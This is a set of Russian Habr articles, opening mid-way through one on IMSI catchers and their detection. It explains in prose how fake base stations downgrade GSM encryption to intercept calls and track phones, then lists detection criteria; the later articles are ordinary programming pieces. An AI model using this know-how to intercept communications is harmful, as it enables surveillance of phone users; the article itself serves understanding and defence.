*Ettus выпускает такие гик-девайсы для экспериментов в сотовых сетях вплоть до 6 ГГц. Цена около $4000.*
IMSI-ловушки. Что это?
----------------------
Но вернёмся к теме статьи. IMSI-ловушки — это мобильные ложные базовые станции, которые спецслужбы включают при различных обстоятельствах в разных местах. Мобильные телефоны “цепляются” к этим станциям, которые фактически выступают в роле Man-in-the-middle. В результате мы имеем перехват разговоров, СМС и интернет-трафика. Факты использования таких устройств засекречены. В Германии, например, в 2002 году был принят закон, разрешающий спецслужбам применять такие устройства, однако не обошлось без бурных общественных дебатов. А где-то и до дебатов не доходит. Однако косвенные доказательства есть. Как правило, ловушки включаются в местах народных волнений, либо вокруг объектов, представляющих высокую государственную важность. Часто IMSI-идентификаторы особо интересных личностей заносятся в список фильтрации, и далее работают только с телефонами конкретных людей.
А теперь познакомимся с IMSI-ловушками поподробнее. Для начала классифицируем их поведение. Оно может поддерживать 2 режима — активный и пассивный. В активном ловушка выступает в роли базовой станции. В пассивном — мониторит канал и другие базовые станции. Наиболее интересен, конечно же, активный режим. Опишем его функции.
### Прикидываемся базовой станцией
Согласно алгоритму GSM, сотовый телефон обычно выбирает станцию с наиболее сильным сигналом. Это разумно — можно снизить мощность передатчика и сэкономить батарейку. Таким образом ловушка “забирает” телефоны на себя. Далее она запрашивает с телефона его…
* IMSI: Interntaion Mobile Subscriber Identifier — фактически это уникальный номер SIM-карты;
* IMEI: Interntaion Mobile Equipment Identifier — уникальный номер аппарата.
Это происходит в рамках стандартных протоколов GSM-стека. Итак, мы вышли на конкретного человека.
![](https://habrastorage.org/r/w780q1/files/a8e/a81/b3b/a8ea81b3bd62461fb8149a4b1820219d.jpeg)
*IMSI-ловушка “StingRay” известной фирмы Harris*
### Нарушение связи
Возможно оставить абонента без связи: сначала “захватить” на себя, а потом оборвать, и так до бесконечности. А можно выдавать мусор или заведомо некорректные пакеты.
### Перехват разговоров
Самое вкусное. Здесь все не так просто, однако проще чем могло бы быть.
Как известно, в GSM предусмотрели защиту от несанкционированного съёма информации. Существует несколько режимов:
* А5/0 — фактически это plain text, шифрования нет;
* А5/1 — первый вариант с потоковым шифром, который сейчас уже не считается достаточно стойким;
* А5/2 — экспортный вариант А5/1 с намеренно заниженной стойкостью. Куда уж ниже?!
* А5/3 — достаточно стойкий вариант, возникший с приходом 3G.
Как показал известный хакер [Harald Welte](https://www.youtube.com/watch?v=H7rNKZdASBE), вся схема защиты в GSM местами зиждется на популярном принципе Security through obscurity и содержит фундаментальные уязвимости. При этом столпы GSM-индустрии годами игнорируют эти факты — всех всё устраивает.
Как это происходит
------------------
Опишем алгоритм, как ловушка вклинивается в эту систему.
Сразу отметим, что если оператор изначально везде применяет А5/2, то задача становится тривиальной — этот шифр вскрывается в реальном времени. Но операторы не совсем идиоты, поэтому они используют А5/1. Базовая станция анонсирует этот протокол и телефон на него “соглашается”, все довольны.
Все шифры А5 работают на ключе, который хранится как у оператора, так и на SIM-карте. Он уникален для каждого абонента и за его сохранность отвечает крипточип SIM-карты. Из этого следует, что ловушка по отношению к оригинальной базовой станции “прикидывается” абонентским устройством на алгоритме А5/1, а для реального телефона “прикидывается” базовой станцией на алгоритме А5/2, который вскрывается на лету. Таким образом, ловушка извлекает секретный ключ абонента и реконструирует сессию с базовой станцией. Дело сделано. Как узнать, что ваш телефон переключился на слабый шифр? Обычно никак: индустрия сотовой связи заботится о людях — меньше знаешь, крепче спишь. Однако в природе все же встречаются отдельные модели телефонов, которые как-то сигнализируют, и это не смартфоны. Где-то появляется иконка, а где-то незаметная строка утекает в лог, однако это обычно связано с переходом на А5/0. В любом случае, все это скорее исключения из правил.
### Противодействие
Естественно, борцы против Большого Брата не оставляют это дело без внимания.
Так появился проект SnoopSnitch — это программа для Android, помогающая в обнаружении IMSI-ловушек в повседневной жизни. Принцип её работы заключается в регулярном сборе статистики об окружающих базовых станциях: их характеристиках и местоположении. В случае обнаружения отклонения от привычной картины программа выдаёт предупреждение. Тут же можно загрузить свои данные на сервер — там формируется глобальная база знаний обо всех базовых станциях мира.
К сожалению, программа недоступна для большинства телефонов. Это связано с особенностью её работы. Как уже было отмечено, в GSM-отрасли любые технические детали старательно вымарываются, но кое-что просачивается. Baseband-процессоры Qualcomm имеют специальный диагностический интерфейс (программный), через который возможно информирование о разных событиях из жизни сотовой связи. В лучших традициях жанра, этот интерфейс недоступен обычным Android-приложениям, однако он все же доступен при наличии root. Если у вас телефон на чипсете Qualcomm, то, возможно, вам повезло. Познакомимся с интерфейсом поподробнее.
Для начала выкачаем ядро для Qualcomm. Оно называется msm — по одноимённой серии Qualcomm SoC.
```
igor@igoryan:~$ git clone https://android.googlesource.com/kernel/msm
Клонирование в «msm»…
remote: Sending approximately 1.01 GiB ...
remote: Counting objects: 71639, done
remote: Finding sources: 100% (8333/8333)
remote: Total 3952476 (delta 3262538), reused 3952419 (delta 3262538)
Получение объектов: 100% (3952476/3952476), 1.01 GiB | 4.24 MiB/s, готово.
Определение изменений: 100% (3262538/3262538), готово.
Проверка соединения… готово.
```
Выберем какую-нибудь ветку:
```
igor@igoryan:~/msm$ git checkout android-msm-shamu-3.10-lollipop-release
Распаковка файлов: 100% (45604/45604), готово.
Ветка android-msm-shamu-3.10-lollipop-release отслеживает внешнюю ветку android-msm-shamu-3.10-lollipop-release из origin.
Переключено на новую ветку «android-msm-shamu-3.10-lollipop-release»
```
Вот где живет заветный драйвер:
```
igor@igoryan:~/msm$ cd drivers/char/diag/
```
Читаем настроечный файл ядра Kconfig:
```
config DIAG_CHAR
tristate "char driver interface and diag forwarding to/from modem"
default m
depends on USB_G_ANDROID || USB_FUNCTION_DIAG || USB_QCOM_MAEMO
depends on ARCH_MSM
help
Char driver interface for diag user space and diag-forwarding to modem ARM and back.
This enables diagchar for maemo usb gadget or android usb gadget based on config selected.
endmenu
```
Как видим, драйвер позволяет общаться с модемом в двунаправленном режиме: слать некие команды и получать некую инфу. В мире user space драйвер себя обнаруживает как устройство /dev/diag\_char. Беглое изучение исходного кода показывает, что драйвер предоставляет только транспорт произвольных данных, и не содержит никаких зацепок на само содержание данных. Всё что он делает, это определяет некий примитивный формат пакета: старт-байт, данные, стоп-байт, CRC. Как всё предсказуемо!
Анализ данных от диагностического интерфейса
--------------------------------------------
Ребята из SnoopSnitch умудрились отреверсить сами полезные данные и на основе их строится анализ. Вот какие параметры они принимают к сведению.
#### MCC/MNC
Mobile Country Code — код страны. Для России это 250. К нему добавляются 2 цифры, идентифицирующие оператора, и получается полноценный код MNC (Mobile Network Code). Список всех MNC можно посмотреть здесь: [mcclist.com/mobile-network-codes-country-codes.asp](http://mcclist.com/mobile-network-codes-country-codes.asp)
#### LAC
Location Area Code — некий код географической зоны, которая обслуживается одним контроллером базовых станцией (BSC). Когда происходит входящий вызов, то оповещение одновременно получают все базовые станции данной зоны.
#### Cell ID
Идентификатор соты, т.е. базовой станции.
#### Longitude, Latitude
Долгота и широта базовой станции.
#### ARFCN
Absolute radio-frequency channel number — идентификатор, однозначно определяющий пару частот, используемых для приёма и передачи. Например, за диапазоном GSM 1800 закреплены номера 512 — 885. При этом частота передачи вычисляется по формуле 1710.2 + 0.2·(n−512), а частота приёма = частота передачи + 95.
Собственно, события, связанные с сетью:
#### Location Update
Когда телефон переходит из одной Location Area на другую, он посылает станциям это сообщение. Также он его посылает и периодически.
#### Сообщения PAGING
PAGING — это процесс нахождения конкретного абонента для передачи ему SMS-сообщения или звонка. Если приходит SMS, то программа регистрирует адрес центра SMS (SMSC) и тип сообщения: обычное, Silent или Binary.
А теперь опишем непосредственно критерии, на основе которых программа находит ловушки.
1. Сменился LAC или Cell ID, при том что частота осталась неизменной. Действительно, часто ловушка занимает существующую частоту, при этом предоставляя более сильный сигнал, чем оригинальная станция. Но эта метрика весьма ненадёжна. Во-первых, телефон может находиться в зоне действия двух станции из разных LAC, и просто перескочить с одной на другую, оставаясь на одинаковом канале. Во-вторых, сам оператор может дать команду какой-то станции на переход к другому LAC.
2. LAC текущей станции отличается от LAC окружающих станций. Задача ловушки — добиться Location Update от телефона, так как только в этом случае она может “стянуть” с него нужную информацию. Поэтому она анонсирует другой LAC, предоставляя более сильный сигнал. Но есть подводный камень — легальные фемто-соты могут также иметь другой LAC: зависит от настроек соты, оператора и погоды на Марсе.
3. При неизменной паре Cell ID — LAC изменился номер канала. Ловушка часто маскируется под неиспользованную частоту уже существующей базовой станции.
4. LAC содержит единственную станцию. Как уже сказано в п. 2, обычно стремятся инициировать Location Update. Проще всего этого добиться, подняв псевдо-вышку с отличным от всех LAC и самым сильным сигналом. Подводный камень: в местах с плохим покрытием (обычно за городом) часто бывает, что телефон “видит” только одну станцию, и здесь уже бессмысленно гадать.
5. Станция не сообщает информации о своих соседских станциях, хотя это должно происходить в условиях плотного покрытия. Ловушка не анонсирует другие станции, чтобы у телефона “не было соблазна” на них переключиться. А иногда хитрят: анонсируют несуществующие частоты либо существующих, либо несуществующих соседних станций.
6. Анонсирование заведомо завышенного CRO (Channel Reselection Offset). Это один из параметров, который влияет на алгоритм выбора телефоном наилучшей базовой станции.
7. Отключение шифрования, при том что оно ранее было на той же паре LAC/Cell. Ловушка может переключить телефон с А5/3 на А5/0, тем самым выключив шифрование вообще, либо на слабый алгоритм А5/2.
8. Сообщение CIPHER MODE COMPLETE не содержит IMEISV. Тут надо подробнее пояснить весь процесс аутентификации и шифрования в GSM. Подключение к GSM-сети состоит из трех этапов: аутентификация, выработка ключа шифрования и выбор режима шифрования.
#### *1. Аутентификация*
На SIM-карте абонента хранится 128-битный ключ — Subscriber Authentication Key. Точно такой же хранится у оператора. Так как SIM-карта формально принадлежит оператору, а сам ключ хранится защищённым образом, то это считается надёжным.
Шаги:
1. станция генерит случайное 128-битное число и посылает его абоненту;
2. обе стороны подают на вход алогритма А3 это число и общий ключ, получают 32-битное число SRES (от Signed Response);
3. абонент отправляет ответ с этим числом, а станция сравнивает со своим; если всё сошлось, то абонент аутентифицирован.
Кстати, подтверждение подлинности самой станции не предусмотрено. Случайно ли?..
### *2. Выработка ключа шифрования*
Здесь процедура идентичная, за исключением того, что случайное число и ключ подаются на вход алгоритма А8, а результатом является 64-битный ключ симметричного шифрования А5.
### *Выбор режим шифрования*
Станция посылает телефону команду CIPHER MODE SELECT, сообщая требуемый режим шифрования: А5/0, А5/1, А5/2 или А5/3. Однако в этом сообщении есть ещё флаг REQUEST\_IMEISV, означающий, что телефон должен сообщить в ответном сообщении CIPHER MODE COMPLETE свой уникальный идентификатор, причём это сообщение уже зашифровано на ранее согласованном ключе. По умолчанию флаг всегда ставится. Однако ловушка может не передавать этот флаг, в результате сообщение CIPHER MODE COMPLETE будет содержать предсказуемую статическую информацию. После этого производится стандартная атака по известному открытому тексту (known plain text attack), и ключ вскрывается. Итак, критерий №8 отлавливает отсутствие данного флага. Ещё есть дополнительный признак — долгое ожидание подтверждения получения станцией CIPHER MODE COMPLETE. Действительно, вскрытие ключа требует времени.
9. После Location Update идёт стандартный запрос абоненту на идентификационную информацию (IMEI, IMSI), а дальше станция отвергает телефон, заставляя делать новый Location Update. Всё это — признак ловушки, работающей в режиме сбора информации.
10. Если станция анонсирует другой режим шифрования, отличный от обычного для данной местности или оператора, то это либо ловушка, либо оператор недоглядел, либо аппаратный сбой, либо так задумано. Но в расчёт принимается.
11. Слишком маленький интервал регулярного Location Update. Телефон обязан периодически посылать Location Update — даже если он не мигрирует с одной соты на другую. А значение периода приходит со станции. Стандартное значение — 1-4 часа. Но ловушка может распространять заведомо маленькие тайм-ауты, чтобы более оперативно “цеплять” телефоны.
12. Произошёл Paging, за которым не последовало ни SMS, ни разговора. Это типичная проверка, находится ли “жертва” в зоне покрытия в конкретный момент времени.
13. Установлен канал данных (Traffic Channel, или TCH), но не последовало ни SMS, ни разговора. Либо он последовал, но спустя необычно долгое время. Согласно протоколу, после установления этого канала телефон непрерывно шлёт пустые подтверждения, пока канал не закроется. Эти подтверждения могут использоваться ловушкой для более точного позиционирования телефона.
14. Подозрительный список соседних станций (Neighboring Cells). Каждая станция передает подключённому к ней телефону список окружающих станций. Но если это ловушка, то она будет отсутствовать в этих списках – в отличие от других, легитимных, станций.
15. Разбиение на большое количество групп (Paging Group). Каждая станция объединяет все подключенные телефоны в группы. Это нужно для оптимизации ресурсов. Когда происходит входящий звонок, все телефоны данной группы получают оповещение на соответствующем логическом канале. Когда ложная станция хочет вернуть абонента в родную сотовую сеть, она посылает некорректные данные на канале той группы, в которую входит абонент. В результате все члены группы начнут процедуру Cell Reselection. Чтобы затронуть как можно меньше абонентов, ложная станция делает их маленькими, а количество групп будет большим, что и является признаком работы ловушки.
Как мы видим, существует множество критериев, каждый из которых по отдельности не является 100%-ной гарантией обнаружения ловушек. Вместо этого предлагается вероятностная оценка.
Заключение
----------
Данной статьёй я хотел пробудить интерес к стандарту GSM, который используют около ⅘ мобильных пользователей мира. Как мы убедились, в основе безопасности GSM лежит не столько криптографическая стойкость, сколько высокий “входной билет” в эту область. Здесь главенствуют производители телекоммуникационного оборудования и операторы, а обсуждения уязвимостей редко выходят за рамки хакерских конференций. К счастью, с приходом нового стандарта UMTS защищённость была повышена. Вот главные новшества:
* Взаимная аутентификация для защиты от ложных базовых станций;
* Защита целостности управляющих команд;
* Шифрование распространяется не только на участок “телефон — базовая станция”, но и на каналы внутри серверной части;
* Более сильное шифрование (128 бит против 64 бит в GSM);
Но и хакеры тоже не дремлют. Будем ждать новых уязвимостей в сетях 3G и 4G!
Полезные ссылки
---------------
* [www.youtube.com/watch?v=JyTb5mJOYLo](https://www.youtube.com/watch?v=JyTb5mJOYLo)
* [www.sans.org/reading-room/whitepapers/telephone/gsm-standard-an-overview-security-317](https://www.sans.org/reading-room/whitepapers/telephone/gsm-standard-an-overview-security-317)
* [opensource.srlabs.de/projects/snoopsnitch](https://opensource.srlabs.de/projects/snoopsnitch)
* [github.com/CellularPrivacy/Android-IMSI-Catcher-Detector/wiki](https://github.com/CellularPrivacy/Android-IMSI-Catcher-Detector/wiki)
* [www.ettus.com](https://www.ettus.com)
* [www.globalresearch.ca/new-hi-tech-police-surveillance-the-stingray-cell-phone-spying-device](http://www.globalresearch.ca/new-hi-tech-police-surveillance-the-stingray-cell-phone-spying-device)
* [arxiv.org/abs/1510.07563](http://arxiv.org/abs/1510.07563) | https://habr.com/ru/post/280886/ | null | ru | null |
# Анти-спам модуль для Kohana
На днях понадобилось для одного проекта, на фреймворке Kohana, прикрутить защиту форм, от заполнения спам-ботами.
Готовых модулей не нашлось, а утруждать пользователей вводом каптчи не хотелось.
Поэтому было решено поискать на хабре готовые библиотеки или методики по борьбе со спамом. И была найдена библиотека Ботобор ( [habrahabr.ru/post/135209](http://habrahabr.ru/post/135209/) ), написанная пользователем [Mekras](http://habrahabr.ru/users/mekras/).
До этого мне ни разу не приходилось писать модули для Kohana, поэтому это была возможность чуть-чуть повысить свои знания.
Вот что получилось в итоге [github.com/evgentus/antispam](https://github.com/evgentus/antispam)
##### Установка
Установка данного модуля ничем не отличается от установки любого другого модуля.
Копируем все файлы в modules/antispam/, настраиваем конфиг, добавляем модуль в application/bootstrap.php
##### Конфиг
В конфиге все параметры подробно задокументированы.
##### Немного демонстрационного кода
Для того, чтобы «подготовить» форму для бота, необходимо сделать так:
```
php
$form = getForm(); // Ваша функция генерации формы
$form = Antispam::factory($form)-getForm(); // Подготовка формы для ботов
echo $form; // Ваш способ показа формы
?>
```
Для того, чтобы проверить форму, необходимосделать так:
```
php
if (Antispam::factory()-isHuman()){ // Проверка на "человечность"
echo 'Форма заполнена человеком';
}
else{
echo 'Форма заполнена ботом';
}
?>
```
##### В заключение
Была немного переписана библиотека Botobor, для удобства конфигурирования.
Если у кого есть идеи или ссылки на методики обнаружения и борьбы со спамом, оставляйте в коментариях, попробую добавить их в данный модуль.
Данный модуль предназначен для отсеивания «простых» спам-ботов, но он не спасет Вас от тех, кто намеренно хочет спамить Ваш ресурс.
Все подробности в теме Ботобор'а ( [habrahabr.ru/post/135209](http://habrahabr.ru/post/135209/) ) | https://habr.com/ru/post/149181/ | null | ru | null |
# Пользователи из России не могут скачать с официального сайта клиент WhatsApp Desktop для Mac OS и Windows
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/82e/2b3/276/82e2b3276b3cb987425b54be3b36ad12.jpeg)Пользователи из России начали жаловаться, что не могут скачать клиент мессенджера WhatsApp (принадлежит Meta\*)на ПК с официального сайта. Информационная служба Хабра попыталась загрузить клиент под Mac OS с официального сайта, на момент написания статьи это было невозможно. Однако при скачивании с маркетплейса AppStore на Mac клиент WhatsApp Desktop нормально скачался. С маркетплейса от Microsoft Windows Store также скачивание клиента работает.
Кроме проблем с Mac, наблюдаются проблемы для клиентов под Windows 10 и 11. Редакция проверила эту информацию, и на момент написания статьи его нельзя было скачать. При этом на планшете с Google Play мессенджер пока доступен и работают гиперссылки с сайта на цифровые магазины.
Если же воспользоваться подключением к VPN, то клиент мессенджера можно загрузить без проблем. С чем связана проблема загрузки WhatsApp Desktop, неизвестно. На момент написания статьи в блоге WhatsApp никаких сообщений об изменениях в работе мессенджера или сайта нет.
Однако страницы с доменом `*․fbcdn․net`, с которых идет загрузка клиента WhatsApp Desktop, отображаются в реестре Роскомнадзора. Видимо, поэтому загрузка клиентов мессенджера недоступна.
UPD: После проверки выяснилось, что скачивание клиента работает не на всех провайдерах. Например, на провайдерах Beeline и Ростелеком работает, на провайдерах МГТС и мобильном провайдере Yota - нет. Однако, даже на озвученных провайдерах у разных пользователей может показывать разный результат.
*Meta Platforms\*, а также принадлежащие ей социальные сети Facebook\*\* и Instagram\*\*:
\*признана экстремистской организацией, её деятельность в России запрещена
\*\*запрещена в России* | https://habr.com/ru/post/673950/ | null | ru | null |
# Опыт использования AutoFixture для генерации gRPC сообщений
### Вступление
Думаю, большинство читателей согласится, что автоматизированное тестирование - полезный, а во многих областях даже необходимый, этап создания программ. А так как программисты - народ ленивый, то и инструментов, облегчающих этот этап существует немало. Одним из таких инструментов является [AutoFixture](https://github.com/AutoFixture/AutoFixture) - средство для генерации тестовых экземпляров. Этот инструмент уже не раз упомянался на Хабре, например [тут](https://habr.com/ru/post/262435/). Далее я расскажу, с какой проблемой столкнулся в попытке применить AutoFixture в своей работе и как решил эту проблему.
Вкратце напомню, как выглядит использование AutoFixture на практике.
```
using AutoFixture;
var fixture = new Fixture();
var intValue = fixture.Create();
Console.WriteLine(intValue);
var complexType = fixture.Create();
Console.WriteLine(complexType);
var collection = fixture.Create>();
Console.WriteLine(string.Join(", ", collection));
record ComplexType(int IntValue, string StringValue);
```
Как видно из приведённого выше примера, инструмент способен создавать и встроенные типы, и пользовательские, и коллекции произвольных типов. Главное - чтобы у них был доступен конструктор, а типы его параметров, в свою очередь подходили под эти же условия.
### Проблема
Мне в работе понадобилось создавать тестовые данные типов gRPC сообщений. Сами эти типы генерируются автоматически по proto-файлам.
Для начала, давайте создадим экземпляр сообщения для такого контракта:
```
service Greeter {
rpc SayHello (HelloRequest) returns (HelloReply);
}
message HelloRequest {
string name = 1;
}
message HelloReply {
string message = 1;
}
```
```
using AutoFixture;
using AutoFixtureWithGrpc;
var fixture = new Fixture();
var message = fixture.Create();
Console.WriteLine(message);
```
Пока всё работает: экземпляр создаётся, свойство инициализируется непустой строкой, класс!
Попробуем добавить поле с атрибутом **repeated**. По спецификации protobuf такие поля могут иметь любое количество элементов.
```
message HelloRequest {
string name = 1;
repeated int32 lucky_numbers = 2;
}
```
**Бам!!!** Что случилось? Коллекция `LuckyNumbers` в экземпляре сгенерированного типа оказывается пустой. Дело в том, что AutoFixture по умолчанию инициализирует экземпляр типа, вызывая его конструктор, а затем все доступные сеттеры свойств. А repeated-поля контракта становятся свойствами, у которых есть только геттер, а сеттера нет:
```
public sealed partial class HelloRequest : pb::IMessage
{
// .. часть кода пропущена для краткости
public HelloRequest() { }
public pbc::RepeatedField LuckyNumbers {
get { /\* ... \*/ }
}
}
```
Из кода видно, что у свойства `LuckyNumbers` отсутсвует доступный сеттер, поэтому-то AutoFixture и не смог заполнить коллекцию элементами!
Быстрое "гугление" подсказало, что можно покрутить настройки AutoFixture таким образом:
```
var fixture = new Fixture();
fixture.Behaviors.Add(new ReadonlyCollectionPropertiesBehavior());
```
Такая настройка должна сообщить инструменту, что нужно заполнять свойства-коллекции даже если у них отсутствует доступный сеттер. Лишь бы был геттер, да метод `Add` у коллекции.
Пробуем:
```
fixture.Behaviors.Add(new ReadonlyCollectionPropertiesBehavior());
var message = fixture.Create();
Console.WriteLine(message.LuckyNumbers.Count);
```
и получаю **Бам №2!!!** :
```
System.Reflection.AmbiguousMatchException: Ambiguous match found.
```
Тут я, признаюсь, немного приуныл. Затем решил проверить, в чём же дело: в AutoFixture или в сгенерированном по контракту коде. Для этого я набросал небольшой класс с таким же свойством без сеттера с той лишь разницей, что в этот раз типом коллекции был простой `List`.
```
class Investigation
{
private readonly List \_values = new();
public List Ints => \_values;
}
```
```
fixture.Behaviors.Add(new ReadonlyCollectionPropertiesBehavior());
var message = fixture.Create();
Console.WriteLine(message.Ints.Count);
```
На этот раз никакого исключения не вылетело, в коллеции лежали элементы, как и положено. Подозрение, что в прошлый раз исключение появилось из-за особенностей класса `RepeatedField` всё крепло.
Я зарылся в отладчик, пытаясь понять, что же такого *неоднозначного* (ambiguous) было в `RepeatedField`, чего не было у `List`. В отладчике ставлю точку останова на исключение `System.Reflection.AmbiguousMatchException`.
Довольно быстро выяснилось, что исключение происходит в методе `InstanceMethodQuery.SelectMethods`. Благо, исходный код инструмента открыт, привожу текст метода:
```
public IEnumerable SelectMethods(Type type = default)
{
var method = this.Owner.GetType().GetTypeInfo().GetMethod(this.MethodName);
return method == null
? new IMethod[0]
: new IMethod[] { new InstanceMethod(method, this.Owner) };
}
```
И при этом `MethodName` имеет значение "Add". Обозреватель сборок в Rider-е показал (см. картинку), что у типа RepeaterField есть два публичных метода Add: один для одиночного элемента, другой - для их последовательности. Поэтому-то AutoFixture не мог выбрать, какой именно метод ему нужен и падал с ошибкой. А если точнее, то падал метод `GetMethod` в кишках дотнетовского рантайма.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/226/dc4/e90/226dc4e902e697d0898eb335c02f99f2.png)### Решение
Ну что же, причина проблемы стала ясна. Оставалось придумать решение. Я решил добавить в AutoFixture дополнительную настройку, позволяющую инициализировать именно экземпляры типа `RepeatedField`. По счастью, у этого злополучного типа оказался метод `AddRange`, который я и собрался использовать для наполнения коллекции.
Я решил идти проверенным методом copy-paste и продублировать код `ReadonlyCollectionPropertiesBehavior`, меняя его лишь по необходимости. Оказалось, что менять придётся совсем немного: поиск подходящего метода инициализации (того самого `AddRange`) и подготовку параметров для него. Потому что если `ReadonlyCollectionPropertiesBehavior` заполнял коллекцию поэлементно, вызывая `Add`, то мне предстояло сперва подготовить последовательность элементов, и лишь затем единожды вызвать `AddRange`, передав её всю целиком.
Тут уже никаких сложностей не осталось. Готовое решение можно найти в моём [репозитории](https://github.com/valker/autofixture-with-grpc) на гитхабе.
Я благодарен авторам AutoFixture за такой полезный инструмент и призываю всех шарпистов рассмотреть возможность использовать его в своей практике. | https://habr.com/ru/post/686386/ | null | ru | null |
# Управляем навигацией в iOS-приложениях. Паттерн координатор от СберМаркета
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/45c/d7b/039/45cd7b039929aa2a777b9b2ee4a89bed.png)Стандартный способ настроить навигацию в iOS-приложении — использовать класс UIViewController. Он работает, пока не понадобится добавить новые экраны или поменять их местами. Сложную логику переходов лучше строить с помощью координаторов.
Под катом рассказываем, как и зачем мы в команде написали свою реализацию паттерна Coordinator.
> *Эта статья — текстовая версия выступления Филиппа Красновида на* [*iOS Meetup от СберМаркет Tech*](https://www.youtube.com/watch?v=1PyaRtMwEws)*.*
>
>
Что такое координаторы
----------------------
Координатор — это особый класс, в котором находится логика навигации между экранами в приложении. Идею этого паттерна [описал Соруш Ханлоу в 2015 году.](https://khanlou.com/2015/01/the-coordinator/)
Обычно за навигацию в iOS отвечает класс UIViewController. Он контролирует экраны, переходы между ними и отклик на действия пользователя. В классе есть стандартные способы настроить навигацию:
* прописать экраны и потоки (segues) между ними в файл Storyboard, а затем вызывать их в нужных местах кода;
* использовать контейнеры, например UINavigationController;
* вызывать экран напрямую через метод present(\_:animated:completion:).
Все хорошо, пока мы показываем экраны в строго определённом порядке. Сложности начинаются, если надо поменять порядок экранов, добавить новый переход или передать данные с последнего экрана на первый.
Проблема в самой реализации класса UIViewController. Все вызванные в объекте класса экраны жёстко связаны с родителем. Первый экран должен знать о существовании и типе каждого дочернего экрана, который он вызывает. Подробнее об этом можно почитать [в разборе Павла Гурова](https://habr.com/ru/company/oleg-bunin/blog/423299/).
Решить проблему можно, если убрать логику навигации из UIViewController. Для этого нужно удалить из объекта класса все инициализации и вызовы других экранов, передачу данных, не использовать потоки и контейнеры. А логику перенести в новый класс Coordinator, объекты которого будут отвечать за вызовы экранов в приложении. Тогда экранам не нужно будет «знать», в каком порядке они идут и кому какие данные передают.
![Примерная схема работы координаторов. Компонент LoginCoordinator отвечает за последовательность, в которой показываются модули](https://habrastorage.org/r/w1560/getpro/habr/upload_files/934/302/6b2/9343026b2bea010ffbd6f66a37460021.png "Примерная схема работы координаторов. Компонент LoginCoordinator отвечает за последовательность, в которой показываются модули")Примерная схема работы координаторов. Компонент LoginCoordinator отвечает за последовательность, в которой показываются модулиМы могли взять [одну из множества готовых реализаций](https://github.com/search?q=coordinator+ios) координаторов, но вместо этого решили запилить собственную.
Почему мы создали свою реализацию координаторов
-----------------------------------------------
Нашей команде нужно было решить несколько проблем:
**Избавиться от бойлерплейт-кода.** Хотелось убрать из приложения длинные куски кода и сделать его лаконичнее. В большинстве чужих координаторов оказались бойлерплейт-участки, которые нам не нужны.
**Перестать контролировать навигацию вручную.** Нам надоело отслеживать жизненный цикл экранов. Намного удобнее передать эту задачу координатору.
**Убрать человеческий фактор.** Все разработчики иногда ошибаются. Мы хотели, чтобы у нас осталось как можно меньше возможностей сделать что-то не так.
Чтобы решить все проблемы разом, мы написали свою версию паттерна.
Чем отличается реализация координаторов СберМаркета от стандартной
------------------------------------------------------------------
Мы написали несколько новых протоколов и немного доработали стандартные.
**Transition —** новый протоколдля работы с аниматорами в NavigationController и настройки анимации переходов между экранами и вкладками.
**LyfeCycleListener —** новый протокол, который отслеживает события навигации. Функции в нём работают по аналогии с функциями NavigationController:
* increment и decrement — аналоги pop и push;
* startNotify — установка корневого контроллера в стеке навигации;
* dismissNotify — отклонение любого модального экрана;
* toRootNotify — обработка события pop-to-root, когда нужно показать корневой контроллер в стеке.
**SystemNavigation** — новый протокол для работы со стандартными событиями навигации из UIkit.
```
/// Абстракция от UIKit'a
public protocol Transition: AnyObject {
var transitioning: UIViewControllerAnimatedTransitioning { get }
}
```
```
/// Интерфейс слушателя жизненного цикла юнитов в координаторах
public protocol LifeCycleListener: AnyObject {
func increment()
func decrement()
func startNotify()
func dismissNotify(event: ApplicationRouter.RouterEvent)
func toRootNofity(in router: Routable)
}
```
```
/// Интерфейс для сущности UINavigationController в системе
public protocol SystemNavigation: UINavigationController {
var popToRootHandler: (() -> Void)? { get set }
var popHandler: (() -> Void)? { get set }
}
```
*Реализации протоколов Transition, LifeCycleListener и SystemNavigation*
Для своей реализации мы переписали два класса: BaseCoordinator и ApplicationRouter.
**BaseCoordinator** — основной класс, который отслеживает зависимости между экранами. В нем остались стандартные методы: добавление и удаление зависимостей, массив дочерних координаторов.
```
/// Базовый класс для координатора
open class BaseCoordinator {
public let router: Routable
private weak var parentCoordinator: BaseCoordinator?
private let listener = DefaultLifeCycleListener()
private var childCoordinators: [BaseCoordinator] = []
public private(set) var countUnits: Int = 0 {
didSet {
assert(countUnits >= 0, "Что-то пошло не так!")
if countUnits == 0 { parentCoordinator?.removeChild(self) }
}
}
public init(router: Routable, parent: BaseCoordinator? = nil) {
self.parentCoordinator = parent
self.router = router
self.router.subscribe(listener)
self.listener.recieveEvent = { ... }
}
}
}
```
Добавление и удаление зависимостей инкапсулировано в BaseCoordinator.
Чтобы управлять зависимостями, мы используем счетчик countUnits. Он показывает, сколько юнитов в данный момент зависят от родительского координатора.
Сюда же добавили свойство parentCoordinator — ссылку на родительский координатор. Она нужна для того, чтобы удалять и добавлять текущий координатор в зависимость.
Поле listener — вызов протокола LyfeCycleListener, интерфейса сообщений от роутера.
**ApplicationRouter** — класс для работы с роутером. Роутер обрабатывает события навигации и сообщает о них координатору. ApplicationRouter использует три протокола:
* Routable,
* UINavigationControllerDelegate,
* UIAdaptivePresentationControllerDelegate.
Стандартный протокол Routable мы дополнили методом **subscribe**. Он передает в координатор сообщение о событиях навигации.
```
/// Интерфейс роутер для системы координаторов
public protocol Routable: AnyObject {
func pushModule(_ module: Presentable, transition: Transition?, ....)
func setRootModule(_ module: Presentable, transition: Transition?, ...)
func popModule(transition: Transition?, animated: Bool, comletion: (() -> Void)?)
func popToRootModule(animated: Bool, completion: (() -> Void)?)
func presentModule(_ module: Presentable, ....)
func dismissModule(animated: Bool, completion: (() -> Void)?)
func closeModule(animated: Bool, transition transitionIfCan: Transition?, ...)
func subscribe(_ listener: LifeCycleListener)
}
```
UINavigationControllerDelegate нужен для поддержки анимации переходов между экранами. Он же обрабатывает swipe-to-back, то есть закрывающий свайп с края экрана.
UIAdaptivePresentationControllerDelegate обрабатывает события от модальных представлений, которые открываются не на весь экран.
Как мы используем координаторы
------------------------------
Схема навигации в приложении СберМаркет в целом довольно проста:
